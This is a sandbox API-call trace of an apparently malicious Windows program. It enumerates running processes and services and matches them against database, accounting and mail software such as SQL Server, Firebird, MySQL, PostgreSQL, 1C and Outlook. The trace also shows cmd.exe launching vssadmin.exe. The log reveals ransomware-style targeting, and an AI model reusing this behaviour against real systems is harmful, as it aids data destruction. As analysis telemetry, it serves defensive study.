	[0038.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0038.633] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0038.633] lstrlenW (lpString="Winmgmt") returned 7
	[0038.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0038.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0038.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0038.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0038.633] lstrlenW (lpString="WPDBusEnum") returned 10
	[0038.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0038.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0038.634] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0038.634] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0038.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0038.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e51b0 | out: hHeap=0x4f0000) returned 1
	[0038.634] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4
	[0038.636] Process32FirstW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0038.637] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0038.637] lstrlenW (lpString="System") returned 6
	[0038.637] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0038.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0038.637] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0038.637] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0038.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0038.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0038.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0038.637] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0038.638] lstrlenW (lpString="smss.exe") returned 8
	[0038.638] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0038.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0038.638] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0038.638] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0038.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0038.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0038.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0038.639] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0038.639] lstrlenW (lpString="csrss.exe") returned 9
	[0038.639] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0038.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0038.639] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0038.639] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0038.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0038.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0038.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0038.639] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0038.640] lstrlenW (lpString="wininit.exe") returned 11
	[0038.640] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0038.640] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0038.640] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0038.640] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0038.640] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0038.640] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0038.641] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0038.641] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0038.641] lstrlenW (lpString="csrss.exe") returned 9
	[0038.641] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0038.641] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0038.641] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0038.641] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0038.641] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0038.641] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0038.642] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0038.642] lstrlenW (lpString="winlogon.exe") returned 12
	[0038.642] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0038.643] lstrlenW (lpString="services.exe") returned 12
	[0038.643] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0038.644] lstrlenW (lpString="lsass.exe") returned 9
	[0038.644] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0038.644] lstrlenW (lpString="lsm.exe") returned 7
	[0038.644] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.645] lstrlenW (lpString="svchost.exe") returned 11
	[0038.645] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.646] lstrlenW (lpString="svchost.exe") returned 11
	[0038.646] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.646] lstrlenW (lpString="svchost.exe") returned 11
	[0038.646] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.647] lstrlenW (lpString="svchost.exe") returned 11
	[0038.647] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.648] lstrlenW (lpString="svchost.exe") returned 11
	[0038.648] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0038.648] lstrlenW (lpString="audiodg.exe") returned 11
	[0038.648] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.649] lstrlenW (lpString="svchost.exe") returned 11
	[0038.649] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.650] lstrlenW (lpString="svchost.exe") returned 11
	[0038.650] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0038.650] lstrlenW (lpString="dwm.exe") returned 7
	[0038.650] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0038.651] lstrlenW (lpString="explorer.exe") returned 12
	[0038.651] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0038.652] lstrlenW (lpString="spoolsv.exe") returned 11
	[0038.652] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0038.652] lstrlenW (lpString="taskhost.exe") returned 12
	[0038.652] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0038.653] lstrlenW (lpString="svchost.exe") returned 11
	[0038.653] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0038.654] lstrlenW (lpString="taskeng.exe") returned 11
	[0038.654] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0038.654] lstrlenW (lpString="taskhost.exe") returned 12
	[0038.654] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0038.655] lstrlenW (lpString="program.exe") returned 11
	[0038.655] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0038.656] lstrlenW (lpString="felt.exe") returned 8
	[0038.656] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0038.657] lstrlenW (lpString="bibliography.exe") returned 16
	[0038.657] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0038.657] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0038.657] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0039.271] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0039.271] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0039.272] lstrlenW (lpString="converter.exe") returned 13
	[0039.272] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0039.273] lstrlenW (lpString="once.exe") returned 8
	[0039.273] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0039.273] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0039.273] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0039.274] lstrlenW (lpString="always.exe") returned 10
	[0039.274] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0039.275] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0039.275] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0039.275] lstrlenW (lpString="donated.exe") returned 11
	[0039.276] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0039.276] lstrlenW (lpString="nowherepike.exe") returned 15
	[0039.276] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0039.277] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0039.277] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0039.278] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0039.278] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0039.278] lstrlenW (lpString="allowance.exe") returned 13
	[0039.278] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0039.279] lstrlenW (lpString="conducting affect.exe") returned 21
	[0039.279] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0039.280] lstrlenW (lpString="plaintiff.exe") returned 13
	[0039.280] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0039.281] lstrlenW (lpString="dialog.exe") returned 10
	[0039.281] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0039.281] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0039.281] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0039.282] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0039.282] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0039.283] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0039.283] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0039.283] lstrlenW (lpString="dllhost.exe") returned 11
	[0039.283] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0039.284] lstrlenW (lpString="dllhost.exe") returned 11
	[0039.284] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0039.285] lstrlenW (lpString="swpesp.exe") returned 10
	[0039.285] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0039.285] lstrlenW (lpString="cmd.exe") returned 7
	[0039.285] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0039.286] lstrlenW (lpString="conhost.exe") returned 11
	[0039.286] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0039.287] lstrlenW (lpString="vssadmin.exe") returned 12
	[0039.287] Process32NextW (in: hSnapshot=0x1a4, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0039.287] CloseHandle (hObject=0x1a4) returned 1
	[0039.287] Sleep (dwMilliseconds=0x1f4) 
	[0039.876] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0408
	[0039.876] EnumServicesStatusExW (in: hSCManager=0x35d0408, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0039.876] GetLastError () returned 0xea
	[0039.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x123e) returned 0x56b4b0
	[0039.876] EnumServicesStatusExW (in: hSCManager=0x35d0408, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x56b4b0, cbBufSize=0x123e, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x56b4b0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0039.877] CloseServiceHandle (hSCObject=0x35d0408) returned 1
	[0039.877] lstrlenW (lpString="Appinfo") returned 7
	[0039.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0039.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0039.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0039.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0039.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0039.877] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0039.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0039.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0039.877] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0039.877] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0039.878] lstrlenW (lpString="AudioSrv") returned 8
	[0039.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0039.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
